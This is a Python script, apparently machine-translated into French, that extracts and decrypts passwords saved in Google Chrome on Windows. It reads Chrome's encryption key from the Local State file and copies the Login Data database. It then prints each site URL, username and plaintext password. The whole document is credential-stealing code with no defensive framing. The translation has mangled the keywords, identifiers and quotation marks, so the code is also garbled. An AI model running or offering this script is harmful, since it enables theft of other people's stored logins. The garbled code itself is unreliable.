importer le système d’exploitation
importer json
importer base64
importer sqlite3
importer win32crypt
de Cryptodome.Cipher importer AES
Importer un arrêt
de datetime import fuseau horaire, datetime, timedelta
def chrome_date_and_time(chrome_data):
retourner datetime (1601, 1, 1) + timedelta (microsecondes=chrome_data)
def fetching_encryption_key() :
local_computer_directory_path = os.path.join(
os.environ[« USERPROFILE »], « AppData », « Local », « Google », « Chrome »,
« Données utilisateur », « État local »)
avec open(local_computer_directory_path, « r », encoding= »utf-8″) comme f :
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
clé_cryptage = base64.b64decode(
local_state_data[« os_crypt »][« encrypted_key »])
clé_cryptage = clé_cryptage[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption (mot de passe, crypto_key):
essayer:
iv = mot de passe[3:15]
mot de passe = mot de passe[15:]
chiffrement = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(mot de passe)[:-16].décoder()
sauf:
essayer:
return str(win32crypt.CryptUnprotectData(mot de passe, Aucun, Aucun, Aucun, 0)[1])
sauf:
retourner « Pas de mots de passe »
def principal() :
clé = fetching_encryption_key()
db_path = os.path.join(os.environ[« USERPROFILE »], « AppData », « Local »,
« Google », « Chrome », « Données utilisateur », « par défaut », « Données de connexion »)
nom de fichier = « ChromePasswords.db »
Shutil.copyfile(db_path, nom de fichier)
db = sqlite3.connect(nom de fichier)
curseur = db.cursor()
curseur.execute(
« select origin_url, action_url, username_value, password_value, date_created, date_last_used à partir des connexions »
« commander par date_last_used »)
pour la ligne dans cursor.fetchall() :
URL_principale = ligne[0]
login_page_url = ligne[1]
nom_utilisateur = ligne[2]
decrypted_password = password_decryption(ligne[3], clé)
date_of_creation = ligne[4]
last_usuage = ligne[5]
si user_name ou decrypted_password :
print(f »URL principale : {main_url} »)
print(f »URL de connexion : {login_page_url} »)
print(f »Nom d’utilisateur : {nom_utilisateur} »)
print(f »Mot de passe déchiffré : {decrypted_password} »)
autre:
Continuez
si date_of_creation != 864000000000 et date_of_creation :
print(f »Date de création : {str(chrome_date_and_time(date_of_creation))} »)
si last_usuage != 864000000000 et last_usuage :
print(f »Dernière utilisation : {str(chrome_date_and_time(last_usuage))} »)
print(« = » * 100)
curseur.close()
db.close()
essayer:
os.remove(nom de fichier)
sauf:
passe
if __name__ == « __main__ »:
principale()